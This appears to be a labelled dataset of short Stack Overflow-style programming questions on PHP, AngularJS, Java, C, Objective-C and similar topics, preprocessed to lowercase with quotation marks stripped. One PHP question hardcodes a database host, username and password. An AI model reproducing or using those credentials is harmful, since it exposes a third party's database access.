&lt;/tr&gt;                        &lt;tr class= td3 &gt;                     &lt;td&gt;&amp;nbsp;&lt;/td&gt;                     &lt;td&gt;jacuzzi  : &lt;/td&gt;                     &lt;td&gt;&lt;input class= textfeild1  type= checkbox  name= jacuzzi  id= checkbox6  value= jacuzzi  &lt;  if($jacuzzi==1) echo  checked= checked  ; &gt;/&gt;&lt;/td&gt;                      &lt;td&gt;&amp;nbsp;&lt;/td&gt;                      &lt;td&gt;&amp;nbsp;&lt;/td&gt;                     &lt;/tr&gt;                        &lt;/table&gt;&lt;/div&gt; </code></pre>   but the code under <code>&lt;div id= 5 </code> is not working and the same code under <code>&lt;div id= mylng </code> is working perfectly    please help,php
show the option of triggering my app  i noticed that there are some apps can show the option of triggering them when i touch and hold seconds over email attachment.    just wonder how can i do like these     welcome any comment,iphone
html value up down arrows  i know this is an extremely simple question... but i do not know the name of the element i am looking for so i can not research it.    i am looking to add one of those up/down arrow buttons that allows you to increment a textbox.,html
using sizeof equivalent in objective c  how to find the size of a structure.the use of sizeof() doesnt work in objective c.,objective-c
what is machine config in asp.net  hai       i am doing a web project in asp.net. now i am trying to keep each connection string for each user . and the user can decide which server he prefer. how to change this dynamically and where can i store this . i happen heard about machine.config .unfortunately i am not familiar with this. can you just tell what it is and it s use. if any disadvantages please tell.     and how it use,asp.net
need help in mod 1000000007  i m stuck in a problem in which i need to calculate something like:    ((500!)/(20!x20!x20!x20!...)) mod 1000000007     i understand how to calculate 500!%1000000007 but i am not sure on how to distribute that operator in division.     i am currently trying to write a code which cancels the denominators by its numerator by its factors. but i am not sure if it is a good approach to this.    i just need a mathematical way of solving these kind of problems(mod1000000007) as they are regularly encountered in programming competitions and would help me to prepare for google code jam.,c++
how can i get html controls form html table in server side in asp.net  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/7447583/how-to-get-html-controls-form-html-table-in-server-side-asp-net >how to get html controls form html table in server side asp.net</a>    </blockquote>     can any body tell me how can i get html controls form html table in server side in asp.net  my code goes like this.   <pre><code>&lt; table runat= server  id= checkboxlist1 &gt;   &lt; tr&gt;    &lt; td&gt;&lt; input runat= server  id= checkboxlist1_1  type= checkbox  name= checkboxlist1$1  value= 1  /&gt;&lt; label for= checkboxlist1_1 &gt;1    &lt; td&gt;&lt; input runat= server  id= checkboxlist1_22  type= checkbox  name= checkboxlist1$22  value= 1  /&gt;&lt; label for= checkboxlist1_22 &gt;22    &lt; td&gt;&lt; input runat= server  id= checkboxlist1_43  type= checkbox  name= checkboxlist1$43  value= 1  /&gt;&lt; label for= checkboxlist1_43 &gt;43  &lt; /table&gt; </code></pre>   thanks    mohak,asp.net
how to convert squares using fillpolygon  i have to transform the squares in this program into  cups  using the fillpolygon method in a new class but can t for the life of me figure this out.  i have to reduce the top width by 5 on each side.  everything i have found in search shows me how to make a triangle or a more complex shape but nothing like this shape.   any assistance would be greatly appreciated.  this is what is should look like after the change.    <a href= https://i.stack.imgur.com/pnxgv.jpg  rel= nofollow noreferrer >screenshot of  cups </a>   <pre><code>package cs520.hw4.part1;    import javax.swing.jframe;  import java.awt.color; import java.awt.graphics; @suppresswarnings( serial )  public class cups1 extends jframe{  int startx  starty  cupwidth  cupheight; int baselength; int cupspacing;   public cups1()  {      super( my squares );         startx = 100;     starty = 300;     cupwidth = 25;     cupheight = 40;     baselength = 7;     cupspacing = 6;  }   public void paint( graphics g )  {      super.paint(g);              for (int row = 0; row &lt; baselength; row++) {         for (int col = 0; col &lt; (baselength - row); col++)         {               if ((row) % 2 == 0){                 g.setcolor(color.red);}             else                 g.setcolor(color.blue);               g.fillrect(startx + (row * ((cupwidth + cupspacing) / 2)) + (col * (cupspacing + cupwidth))  starty - row*cupheight  cupwidth  cupheight);         }             try {                 thread.sleep(500);             } catch (interruptedexception e) {                 e.printstacktrace();             }         }      }     public static void main(string[] args)  {     cups1 app = new cups1();      app.setsize(550 550);     app.setvisible(true);      app.setdefaultcloseoperation(jframe.exit_on_close ); }   } </code></pre>,java
what is a string for programming it seems complex - example  i have been trying to figure this out for days - what exactly is a string    it seems to be a complex statement or something    how do you use a string in programming    it is some logicial thing    what would be an example of using a string thank you for reading my question. it would be nice if you answer.    how many lines do you need for it to work,iphone
js - referenced external js library causing error ( invalid regular expression flag )  i have an external library jquery.asimpletour (a web app tour plugin) that i have included within an angular application.    my current page address is /#/app/account-settings-confirm    my referenced js is included as follows.   <pre><code>&lt;script src= resources/js/simpletour/jquery.asimpletour.js &gt;&lt;/script&gt; </code></pre>   upon opening the page i keep receiving the following firefox firebug console error.   <pre><code>syntax error - invalid regular expression flag a  /app/account-settings-confirm     / \      |    ----- </code></pre>   jquery.asimpletour.js line 1 col 5 is the triggering point for the error.    this is what line 1 up to line 13 looks like:   <pre><code>1    /** 2     * jquery asimpletour 3     * 4     * @version 1.0.6 5     * @description jquery tour web 6     * @author alvaro.veliz@gmail.com 7     */ 8     9    (function($) { 10     11        var settings = { 12           data: []  13            autostart: false  ... </code></pre>   what does this mean and how can i resolve this,jquery
what s the equivalent of math.abs() in objective-c  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/4717060/convert-to-absolute-value-in-objective-c >convert to absolute value in objective-c</a>    </blockquote>     as i am playing with 2d graphics  i d like to calculate amount of points object has moved between 2 <code>cgpoints</code>. given that object can move in both direction  i am only interested in sheer number of points representing the difference.    in <code>java</code> i d <code>math.abs(startpoint.x - endpoint.x)</code>    how can i do the same in <code>objective-c</code>,objective-c
column  keywords  in where clause is ambiguous  right  my code below is for taking rows from a mysql table and displaying them when the user input matches a keyword stored. recently i have decided it is stupid to have one long table and that sometimes  with similar keywords  the higher id comes out on top. if i have multiple tables  with specific sections like  news   film  i should avoid the clash.   <pre><code>  &lt; php   if( count($terms) == 0){ // if no terms entered  stop. echo  no search terms entered. ;     }else{         // connect   $connect = mysql_connect( cust-mysql-123-05    uthe_774575_0001    rooney08 ) or   die( couldn\ t connect to mysql server:   . mysql_error());     mysql_select_db( theqlickcom_774575_db1   $connect ) or die( couldn\ t select the database:   . mysql_error( $connect ));  /* query statement building - terms together */ $query =   select * from scan where  ;   $terms = array_map( mysql_real_escape_string   $terms); $i = 0;  foreach ($terms as $each) {       if ($i++ !== 0){             $query .=   and  ;       }       $query .=  keywords like  %{$each}%  ; }    $query = mysql_query($query) or die( mysql query error:   . mysql_error( $connect )); $numrows = mysql_num_rows($query); if ($numrows &gt; 0) {        while ($row = mysql_fetch_assoc($query)) {             $id = $row[ id ];             $title = $row[ title ];             $description = $row[ description ];             $keywords = $row[ keywords ];             $link = $row[ link ];          echo  &lt;h2&gt;&lt;a class= ok  href=   . $link .   &gt;  . $title .  &lt;/a&gt;&lt;/h2&gt;  . php_eol;                     echo  &lt;p class= kk &gt;  . $description .  &lt;br&gt;&lt;br&gt;&lt;span class= keywords &gt;  . php_eol;                                 echo  &lt;p&gt;&lt;a class= okay  href=   . $link .   &gt;  . $link .  &lt;br&gt;&lt;br&gt;&lt;span class= keywords &gt;  . php_eol;                       } } else {     /* query statement building - terms separate */     $query =   select * from scan where  ;       $terms = array_map( mysql_real_escape_string   $terms);     $i = 0;      foreach ($terms as $each) {           if ($i++ !== 0){                 $query .=   or  ;           }           $query .=  keywords like  %{$each}%  ;     }      $query = mysql_query($query) or die( mysql query error:   . mysql_error( $connect ));     $numrows = mysql_num_rows($query);     if ($numrows &gt; 0) {            while ($row = mysql_fetch_assoc($query)) {                 $id = $row[ id ];                 $title = $row[ title ];                 $description = $row[ description ];                 $keywords = $row[ keywords ];                 $link = $row[ link ];                  echo  &lt;h2&gt;&lt;a class= ok  href=   . $link .   &gt;  . $title .  &lt;/a&gt;&lt;/h2&gt;  . php_eol;                 echo  &lt;p class= kk &gt;  . $description .  &lt;br&gt;&lt;br&gt;&lt;span class= keywords &gt;  . php_eol;                             echo  &lt;p&gt;&lt;a class= okay  href=   . $link .   &gt;  . $link .  &lt;br&gt;&lt;br&gt;&lt;span class= keywords &gt;  . php_eol;                   }      } else {           echo  no results found for \ &lt;b&gt;{$k}&lt;/b&gt;\  ;      } } //disconnect  }   &gt;  </code></pre>,sql
php custom function is truncating text but i don t want it to  i am passing a large amount of text to a php function and having it return it compressed. the text is being cut off. not all of it is being passed back out.  like some of the words at the very end aren t showing up after being compressed. does php limit this somewhere    <pre><code> function compress($buffer) {     /* remove comments */     $buffer = preg_replace( !/\*[^*]*\*+([^/][^*]*\*+)*/!       $buffer);     /* remove tabs  spaces  newlines  etc. */     $buffer = str_replace(array( \r\n    \r    \n    \t                       )      $buffer);     return $buffer; } </code></pre>   is the function. its from <a href= http://www.antedes.com/blog/webdevelopment/three-ways-to-compress-css-files-using-php  rel= nofollow >http://www.antedes.com/blog/webdevelopment/three-ways-to-compress-css-files-using-php</a>     is there like a setting in php.ini to fix this,php
reading line by line and assigning to array in c  i want to read below lines in input.txt file in c program and assign it to variables.   <pre><code> (1 3) (4 8)  (3 6) (3 10)  (2 6) (4 56) </code></pre>   ...it has to read more than 100 lines and draw lines with 4 values in each line.    i was using <code>fgets</code> and <code>sscanf</code>  but i am not able to get the value and below was my code.   <pre><code>static const char filename[] =  src/input.txt ; file *file = fopen ( filename   r  );  if ( file != null ) {     char line [ 128 ];      int i j k l=-1;      while ( fgets ( line  sizeof line  file ) != null )     {         fputs ( line  stdout ); /* write a line */                     sscanf (line  %d   %d   %d   %d   i j  k l);      }     fclose ( file ); } </code></pre>,c
modify inline angular variable from controller  so i have this in my index.html:   <pre><code> &lt;!-- nav --&gt;  &lt;nav ng-init= cartempty=true  id= nav &gt;    &lt;span ng-if= !cartempty &gt;      &lt;i class= fa fa-shopping-cart &gt;&lt;/i&gt;: {{total}}     &lt;/span&gt;    &lt;span ng-if= cartempty &gt;      &lt;i class= fa fa-shopping-cart &gt;&lt;/i&gt;: cart empty       &lt;i class= fa fa-frown-o &gt;&lt;/i&gt;    &lt;/span&gt;  &lt;/nav&gt; </code></pre>   when somebody adds to the cart  i want cartempty to go <em>false</em>.    i was trying to do this in the controller  off an <code>ng-click</code> that launches the <code>plusone</code> function  but it wasn t working...   <pre><code>$scope.plusone= function(thebread  thenumber) {     cartempty = false;         function searchandreplace(namekey  myarray){     for (var i=0; i &lt; myarray.length; i++) {         if (myarray[i].text === namekey) {             myarray[i].quantity = thenumber;         }     } } searchandreplace(thebread  $scope.breadstoorder)  } </code></pre>   is it a scope issue  how do i do this properly,angularjs
naming methods with different return types but the same functionality  i m talking about java  but the concept would apply to other languages --    we have two methods on the same class that will have the same basic functionality  but provide different return types. both methods will get you all the things  but one gets an iterable which can provide access to all things  and one gets a collection which includes all things.    we know you cannot do this (because it won t compile):   <pre><code>iterable getthings()  collection getthings()  </code></pre>   so  does anyone have thoughts about how to name the methods  it seems an easy fix to say:   <pre><code>iterable getiterableofthings  collection getcollectionofthings </code></pre>   however  this is obviously somewhat verbose and perhaps not the best solution. does the question i m asking imply that our organization/coding approach is somehow off the mark  or is this a valid question     has anyone else dealt with this scenario,java
multiple services from single exe  i have created two services from single exe deployed as windows services. each service corresponds to a dll(class library project). when i stop the service  the dll does not unload and the code that corresponds to this dll continue to run. i have a poller that runs periodically and this continues to poll even when service is shut down. how can i unload the corresponding dll when the service stops,.net
about the date picker of the calendar  i have a small query  i m developing a calendar application for the iphone but i have stuck at a certain point  in xcode there is only a data-picker and this element is not functional in my app because in my app the user must be fast to choose date time. i would to use another instrument for chose a date.     hey guys please help me.....,iphone
is there an excuse for not using tests   i went to one company. it s some big international product on ruby (as they say).    so first day i came there - i look at their code - and it has long methods (pagedown each  many nested if s  inline calls to external libraries - nightmare)  and almost no tests.    they say company is on the market for a year or so  it has 20 programmers that all work on same product  but all i see for now is that part of them finds bugs  and other part randomly fixes those bugs (which they make themselves because they treat tests as something they don t have time to do).     has anyone worked with such products     i know how bad a program without tests and refactoring can get. but they ask me to learn the product better before making a decision. am i not getting something,ruby-on-rails
using suppresskeypress event to block a keyup event  in a keydown event i used <code>suppresskeypress</code> to avoid calling <code>keypress</code> and <code>keyup</code> events. however  although the <code>keypress</code> event was stopped the <code>keyup</code> event still fires. why is this    <pre><code>private void textbox1_keydown(object sender  keyeventargs e) {     if (e.keycode == keys.h)     {         listbox1.items.add( key down  + e.keycode);         // e.suppresskeypress = true;     } }  private void textbox1_keypress(object sender  keypresseventargs e) {     if (e.keychar ==  h )     {         listbox1.items.add( key press  + e.keychar);     } }  private void textbox1_keyup(object sender  keyeventargs e) {     if(e.keycode==keys.h)     {         listbox1.items.add( key up  + e.keycode);     } } </code></pre>,c#
angularjs multiple ng-app call function  i have just started learning angularjs and created some basic samples however i am stuck with the following problem.    i have created 2 modules and 2 controllers.    i want to call a second ng-app(divapp2) function in the first ng-app(divapp1)    how to achieve it     example:   <pre><code>&lt;html&gt;    &lt;head&gt;    &lt;script src= //ajax.googleapis.com/ajax/libs/angularjs/1.2.14/angular.js &gt;&lt;/script&gt;    &lt;script src= //code.jquery.com/jquery-1.9.1.min.js &gt;&lt;/script&gt;    &lt;/head&gt;    &lt;body&gt;      &lt;div id= div1  ng-controller= app1controller &gt;             {{functionapp2(2)}}  //..export  4      &lt;/div&gt;       &lt;div id= div2  ng-controller= app1controller &gt;             {{functionapp1(2)}}  //..export  2      &lt;/div&gt;    &lt;/body&gt;  &lt;html&gt;  &lt;script language= javascript &gt;  var app1= angular.module( divapp1   []);   app1.controller( app1controller   function($scope  $http) {     $scope.functionapp1=function(str){       return str;   }  });   var app2= angular.module( divapp2   []);   app2.controller( app2controller   function($scope  $http) {     $scope.functionapp2=function(str){        return str+str;      }});   angular.bootstrap(angular.element( #div1 ) [ divapp1 ]);  angular.bootstrap(angular.element( #div2 ) [ divapp2 ]);  &lt;/script&gt; </code></pre>,angularjs
angularjs get data from service url  i am new in angularjs. i download angularjs theme from url <a href= https://startangular.com/product/flatlogic-angular-material-dashboard/  rel= nofollow noreferrer >here</a>    i have to get data from get service. get service url is given below   <blockquote>    <a href= http://localhost:8080/api/gethoststatus  rel= nofollow noreferrer >http://localhost:8080/api/gethoststatus</a>  </blockquote>   that is running correctly.    so i have to use this url and get data from that service for this i just change the code in my <strong>visitorscontroller.js</strong> visitorscontroller.js file code is given below   <pre><code>(function () {     angular         .module( app )         .controller( visitorscontroller   [             visitorscontroller         ]);      function visitorscontroller() {         var vm = this;         // todo: move data to the service         var servicesurl = app.servicecallurl+ gethoststatus ;         console.log(servicesurl);         var myservice = angular.module( app ).factory( myservice   [ $http   function($http) {             return {                 getresponders: (function(response) {                     return $http.get(servicesurl).then(function(response) {                         console.log(response.data);                         return response.data;                     });                 })()             };             return myservice;         }]);          vm.visitorschartdata = [ {key:  up   y: 5264}  { key:  critical   y: 3872} {key:  warning   y: 1000} ];          vm.chartoptions = {             chart: {                 type:  piechart                   height: 210                  donut: true                  x: function (d) { return d.key; }                  y: function (d) { return d.y; }                  valueformat: (d3.format( .0f ))                  color: [ rgb(0  150  136)    #e75753   #fbbc05 ]                  showlabels: false                  showlegend: false                  title:  over 9k                   margin: { top: -10 }             }         };     } })(); </code></pre>   when i run this it is showing me correct <code>servicesurl</code> on console. but <code>response.data</code> not showing on console.    so please guide me how can i resolve it.,angularjs
difference between saving sharedpreferences in onpause() and ondestroy() methods  i am trying to save an int variable <code>int diff</code> and i am not sure where i should save it in onpause() or in ondestroy() methods. this variable is used in an fragment  attached to the mainactivity statically.    the code is basic:   <pre><code>@override public void ondestroy() {     super.ondestroy();     sharedpreferences sp = this.getactivity().getsharedpreferences( myprefsname  context.mode_private);     sharedpreferences.editor editor = sp.edit();     editor.putint( myprefsint  diff);     editor.commit(); } </code></pre>   and for to retrieve it:   <pre><code>@override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);      sharedpreferences sp = this.getactivity().getsharedpreferences( myprefsname   context.mode_private);     diff = sp.getint( myprefsint  1); } </code></pre>,android
ios7 and gamekit bluetooth  since i went to the ios 7 on my project  i get an error in the console message:     2013-11-06 12:29:27.316 battle naval[9399:70b] bluetooth problem in 32-bit processes on 64-bit system: skipping check     the connection between my idevices is no longer.    how to solve this problem     sorry for my poor english.,objective-c
angularjs typed info in one input made ng-repeat shows in all input boxes  i am having an issue where when i enter enter a piece of information in one comment input field it shows up in all the input fields. it still only submits to the one post  but since more than one comment input field is usually visible at a time it is jarring. here is the angularjs that i am using:    <pre><code>&lt;div ng-repeat= post in $ctrl.posts | orderby: sortdata | filter: {title: searchbox}  class= well &gt; &lt;div class= media-left &gt; &lt;img ng-src= {{post.image}}  class= media-object &gt; &lt;/div&gt; &lt;div class= media-body &gt; &lt;h4 class= media-heading &gt;               {{post.title}}               | &lt;a ng-click= $ctrl.upvote(post) &gt;&lt;i class= glyphicon glyphicon-arrow-up &gt;&lt;/i&gt;&lt;/a&gt; &lt;a ng-click= $ctrl.downvote(post) &gt;&lt;i class= glyphicon glyphicon-arrow-down &gt;&lt;/i&gt;&lt;/a&gt;               {{post.votes}} &lt;/h4&gt; &lt;div class= text-right &gt;   {{post.author}} &lt;/div&gt; &lt;p&gt;   {{post.body}} &lt;/p&gt; &lt;div&gt;  &lt;div am-time-ago= post.createdon &gt;&lt;/div&gt;   |  &lt;i class= glyphicon glyphicon-comment &gt;&lt;/i&gt;  &lt;a ng-click= model.comment=$index &gt;  &lt;ng-pluralize count= post.comments.length  when= { 0 :  no comments.                       1 :  1 comment.                       other :  {} comments. } &gt;   &lt;/ng-pluralize&gt;   &lt;/a&gt;   &lt;div class= comment  ng-show= model.comment==$index &gt;   &lt;ul ng-repeat= comment in post.comments &gt;   &lt;li&gt;{{comment.text}}&lt;/li&gt;   &lt;/ul&gt;   &lt;/div&gt;   &lt;/div&gt;   &lt;div class= row &gt;   &lt;div class= col-md-offset-1 &gt;     &lt;hr&gt;     &lt;p&gt;       comment text     &lt;/p&gt;     &lt;form class= form-inline  ng-submit= $ctrl.addcomment(post) &gt;       &lt;div class= form-group &gt;         &lt;input class= form-control  ng-model= $ctrl.commenttext &gt;       &lt;/div&gt;       &lt;div class= form-group &gt;         &lt;input type= submit  class= btn btn-primary &gt;       &lt;/div&gt;     &lt;/form&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>        the input line in question is <code>&lt;input class= form-control  ng-model= $ctrl.commenttext &gt;</code>,angularjs
looking for query to return the previous row value from the same field  i have a vehicle maintenance table which looks like. table name maintenance. columns are.   <pre><code>assetid    mileage  hrs  sertype      covered mileg lf-310      1000    200    f1 lf-310      2000    400    f2 lf-311      1500    150    f1 lf-311      3000    300    f2 </code></pre>   can some one help. how to get the last mileage for calculation.,sql
how to print html table with same header  hi all i m facing a problem with printing pages.i want to have same header on all the pages im printing.i read several answers from stack seems no straigt forward answer.    thanks in advance.,html
error javascript can not get value from attribute value <pre><code>$(document).ready(function(){     $( .submit ).click(function(){          var value = $( #name ).attr( value );         alert(value);      });   }); &lt;input type= text  value= 10  id= name /&gt;hello world &lt;input type= submit  class= submit  value= submit /&gt; </code></pre>  <blockquote>    result is   hello world   i want get value is  10   how to fix it    </blockquote>,jquery
localstorage doesn t work on my todo list angular  i found this localstorage code from another side  but i tried to put it on my own code  which doesn t work. if i refresh my site  i can see the number of the todo list  but the list it self is gone     how someone explain me  what is wrong  :)    btw my controller is on my starting body tag:       <pre><code>    &lt;main&gt;         &lt;h1&gt;what to do today &lt;/h1&gt;          &lt;div class= container &gt;              &lt;span&gt;{{ remaining() }} of {{ todos.length }} remaining&lt;/span&gt;              &lt;form ng-submit= addtodo() &gt;                 &lt;input type= text  ng-model= todoinput  placeholder= add a new todo  required&gt;                 &lt;input type= submit  value= add new list  &gt;             &lt;/form&gt;              &lt;ul&gt;                 &lt;li ng-repeat= todo in todos &gt;                     &lt;input type= checkbox  ng-model= todo.done &gt;                     &lt;span ng-bind= todo.todotext &gt;&lt;/span&gt;                 &lt;/li&gt;             &lt;/ul&gt;              &lt;button ng-click= remove() &gt;clear completed&lt;/button&gt;          &lt;/div&gt;     &lt;/main&gt;      &lt;footer&gt;         &lt;div layout= row  layout-align= center center &gt;             &lt;h3&gt;winkel design a/s&lt;/h3&gt;         &lt;/div&gt;     &lt;/footer&gt;      &lt;script&gt;             var app = angular.module( todoapp   []);             app.controller( todoctrl   function($scope) {                 $scope.saved = localstorage.getitem( todos );                 $scope.todos = (localstorage.getitem( todos )!==null)   json.parse($scope.saved) : [{todotext: clean your room   done:false}];                 localstorage.setitem( todos   json.stringify($scope.todos));                  $scope.addtodo = function() {                     $scope.todos.push({todotext:$scope.todoinput  done:false});                     $scope.todoinput =   ;                     localstorage.setitem( todos   json.stringify($scope.todos));                 };                  $scope.remove = function() {                     $scope.todos = $scope.todos.filter(function(item){                         return !item.done                     });                 };                  $scope.remaining = function() {                     var count = 0;                     angular.foreach($scope.todos  function(todo){                         count+= todo.done   0 : 1;                     });                     return count;                 };                  $scope.archive = function() {                     var oldtodos = $scope.todos;                     $scope.todos = [];                     angular.foreach(oldtodos  function(todo){                         if (!todo.done)                             $scope.todos.push(todo);                     });                     localstorage.setitem( todos   json.stringify($scope.todos));                 };              });     &lt;/script&gt; &lt;/body&gt; </code></pre>,angularjs
float variables in c programming  1.i have the float variable x=3.1415926535. i have to show the number 3.1415. if i printf( %0.4f  x)  i get the result 3.1416. 2. i have the decimal variable x=5 (00000101 in binary). how can i change the value of a certain bit in this number,c
how to implement soundcloud header layout for profile  <img src= https://res.cloudinary.com/hashnode/image/upload/v1473872214/zxfxnc1wvwil8fe9rwo3.png  alt= title here >    how to implement  above layout using mostly the fact that the toolbar doesn t move while the image under it slide up and down  i want achieve the same effect  am currently implementing using the new cordinatorlayout and collapsing toolbar and relative layout containing and image    <img src= https://res.cloudinary.com/hashnode/image/upload/v1473872618/epkxzkhhqubg4plb0e4k.png  alt= title here >   <pre><code>&lt;android.support.design.widget.coordinatorlayout xmlns:android= http://schemas.android.com/apk/res/android  xmlns:app= http://schemas.android.com/apk/res-auto  xmlns:tools= http://schemas.android.com/tools  android:id= @+id/main_content  android:layout_width= match_parent  android:layout_height= match_parent  android:fitssystemwindows= true  tools:context= com.example.madiba.listmulti.tabbedactivity &gt;  &lt;android.support.design.widget.appbarlayout     android:id= @+id/appbar      android:fitssystemwindows= true      android:layout_width= match_parent      android:layout_height= wrap_content      android:theme= @style/apptheme.appbaroverlay &gt;      &lt;android.support.design.widget.collapsingtoolbarlayout         app:titleenabled= false          android:id= @+id/toolbar_layout          android:layout_width= match_parent          android:layout_height= match_parent          android:fitssystemwindows= true          app:contentscrim=  attr/colorprimary          app:layout_scrollflags= scroll|exituntilcollapsed &gt;                &lt;relativelayout                 android:fitssystemwindows= true                  android:layout_width= match_parent                  android:layout_height= wrap_content &gt;                   &lt;imageview                     android:id= @+id/banner                      android:fitssystemwindows= true                      android:src= @android:color/holo_red_light                      android:layout_width= match_parent                      android:layout_height= 180dp  /&gt;                  &lt;linearlayout                     android:layout_alignparentright= true                      android:orientation= vertical                      android:padding= 10dp                      android:gravity= right                      android:layout_width= match_parent                      android:layout_height= wrap_content &gt;                  &lt;textview                     android:text= follow                      android:textcolor= @android:color/white                      android:layout_width= wrap_content                      android:layout_height= wrap_content  /&gt;                  &lt;/linearlayout&gt;                  &lt;textview                     android:id= @+id/main_title                      android:layout_below= @id/banner                      android:gravity= center                      android:textcolor= @android:color/black                      android:paddingtop= 12dp                      android:paddingbottom= 8dp                      android:textstyle= bold                      android:text= flume concert                      android:textappearance= @style/textappearance.appcompat.medium                      android:layout_width= match_parent                      android:layout_height= wrap_content                       /&gt;                  &lt;linearlayout                     android:layout_below= @id/main_title                      android:orientation= horizontal                      android:paddingbottom= 8dp                      android:layout_gravity= center                      android:gravity= center                      android:layout_width= match_parent                      android:layout_height= wrap_content &gt;                      &lt;textview                         android:textcolor= @android:color/darker_gray                          android:text= 12 event |                           android:textappearance= @style/textappearance.appcompat.small                          android:layout_width= wrap_content                          android:layout_height= wrap_content  /&gt;                     &lt;textview                         android:textcolor= @android:color/darker_gray                          android:text= 4 members                           android:textappearance= @style/textappearance.appcompat.small                          android:layout_width= wrap_content                          android:layout_height= wrap_content  /&gt;                 &lt;/linearlayout&gt;               &lt;/relativelayout&gt;               &lt;textview                 android:gravity= center                  android:textcolor= @android:color/black                  android:paddingtop= 12dp                  android:paddingbottom= 8dp                   android:textstyle= bold                  android:text= flume concert                  android:textappearance= @style/textappearance.appcompat.medium                  android:layout_width= match_parent                  android:layout_height= wrap_content  /&gt;           &lt;!--&lt;/linearlayout&gt;--&gt;       &lt;/android.support.design.widget.collapsingtoolbarlayout&gt;      &lt;android.support.design.widget.tablayout         app:tabselectedtextcolor= @android:color/black          app:tabtextcolor= @android:color/darker_gray          android:background= @android:color/white          android:id= @+id/tabs          android:layout_width= match_parent          android:layout_height= wrap_content  /&gt;  &lt;/android.support.design.widget.appbarlayout&gt; </code></pre>,android
how to get data using angular $http.get() from action class in struts2 project  i am developing project using angular and struts2 + maven. this is my action class   <pre><code>package com.ai.action;  import com.ai.model.persondata; import com.ai.model.village; import com.ai.service.personservice; import java.util.arraylist; import java.util.list; import java.util.map; public class angularaction implements action {  private map session = actioncontext.getcontext().getsession(); private logger logger = loggerfactory.getlogger(personaction.class);  private list&lt;village&gt; stsarray; @autowired private personservice  personservice;  public string execute() {     list&lt;village&gt; stsarray = personservice.getallvillage();      logger.info( save method {}  getstsarray());     return success; }  public list&lt;village&gt; getstsarray() {     return stsarray; }  public void setstsarray(list&lt;village&gt; stsarray) {     this.stsarray = stsarray; }  } </code></pre>   here i loaded data to      list<br> using dao with hibernate. data added successfully to array. then i want to get this data to jsp page.    struts.xml   <pre><code>    &lt;action name= angularaction  class= com.ai.action.angularaction &gt;         &lt;result type= json &gt;             &lt;param name= root &gt;persondata&lt;/param&gt;             &lt;param name= excludenullproperties &gt;true&lt;/param&gt;             &lt;param name= nocache &gt;true&lt;/param&gt;         &lt;/result&gt;     &lt;/action&gt; </code></pre>   this is my jsp page.   <pre><code>&lt;!doctype html&gt; &lt;html ng-app= demo &gt; &lt;head&gt; &lt;meta charset= iso-8859-1 &gt; &lt;title&gt;ajax with struts 2 using angularjs&lt;/title&gt; &lt;link href= css/bootstrap.css  rel= stylesheet  /&gt; &lt;link href= css/bootstrap-theme.css  rel= stylesheet  /&gt; &lt;script type= text/javascript  src= scripts/angular.min.js &gt;&lt;/script&gt;     &lt;script type= text/javascript &gt;       angular.module( demo   [])             .controller( democtrl   function ($scope  $http) {                  $scope.loaddata = function () {                      $http.get( angularaction ).success(function (data) {                          $scope.person = data;                         console.log($scope.person);                     });                 }             });  &lt;/script&gt; &lt;/head&gt; &lt;body ng-controller= democtrl &gt; &lt;table class= table table-striped &gt; &lt;p&gt;&lt;button data-ng-click= loaddata() &gt;     fetch data from server &lt;/button&gt;&lt;/p&gt; &lt;thead&gt; &lt;tr&gt;     &lt;th&gt;country&lt;/th&gt;     &lt;th&gt;name&lt;/th&gt;     &lt;th&gt;size&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr ng-repeat= item in person &gt;     &lt;td&gt;{{item.country}}&lt;/td&gt;     &lt;td&gt;{{item.name}}&lt;/td&gt;     &lt;td&gt;{{item.size}}&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;  &lt;/table&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   but      console.log($scope.person);  give me null.please help.    but when my action class is given below it working properly.   <pre><code>public class angularaction implements action{  //private persondata persondata = new persondata(); private list&lt;village&gt; setstow =new arraylist&lt;village&gt;(); private village village = new village(); private map session = actioncontext.getcontext().getsession(); private logger logger = loggerfactory.getlogger(angularaction.class); private persondata persondata = new persondata();  public string execute() {      persondata.setfirstname( mohaideen );     persondata.setlastname( jamil );     return success; }  public persondata getpersondata() {     return persondata; }  public void setpersondata(persondata persondata) {     this.persondata = persondata; } </code></pre>   as my idea please tell me how to get list stsarray data in action class by using $http.get( angularaction ).success(function (data).,angularjs
should i go for flash/java for iphone development or continue with apple tools   as apple has removed the restriction for java and flash should i go for these tools or just continue developing iphone/ipad apps using apple tools(xcode  objective c .. etc).    i want to know the benefits of using apple tool instead of java or flash.    thanks,iphone
how to remove flash of template in angularjs  i am using filters (of web.xml) to check if the session (http session on server side) is valid or not. if the session is not valid  then the response return error 401  and i handle it in angularjs and redirect the route to login page.     so  the situation is like this: there is a url localhost:8585/xyz. to access this url  login is required. when the request is made to access this url (without logging in)  the filter check whether the session is valid or not. meanwhile (as the session is being checked)  the template of url localhost:8585/xyz is displayed. as the user is not logged in  session is not valid  so filter send 401 error. i handle the error in angularjs and redirect the route to login page. i don`t want the template to be displayed before getting the actual response from filters and redirecting the route to login page.,angularjs
use variables in document.queryselector  i if have:   <pre><code>&lt;div class= test  data-name= paul  &gt; </code></pre>   and   <pre><code>var name =  paul ; </code></pre>   can i use <code>document.queryselector</code> to do something like this    <pre><code>document.queryselector( [data-name=name] ); </code></pre>   this doesn t work. what do i have to do,javascript
count number of occurences for each distict item in a datacolumn  i am using c# conoleapplication.    i have odbc dsn connection that i bring into datatable. column one is  account# .    example:    account#------------|    aa1-------------------|    aa1-------------------|    aa2-------------------|    aa3-------------------|    aa1-------------------|    aa4-------------------|    aa2-------------------|    i am trying to work out how to give the following result. i would think it would be totaled into a new datatable but i cant make any code work that i have tried.    account#------------|  occurences    aa1-------------------|3    aa2-------------------|2    aa3-------------------|1    aa4-------------------|1    please how can i do this,c#
something functioning as  did init    [objective-c]  guys  what is function called after my class loaded  where i can call  self  there.    thanks advance,objective-c
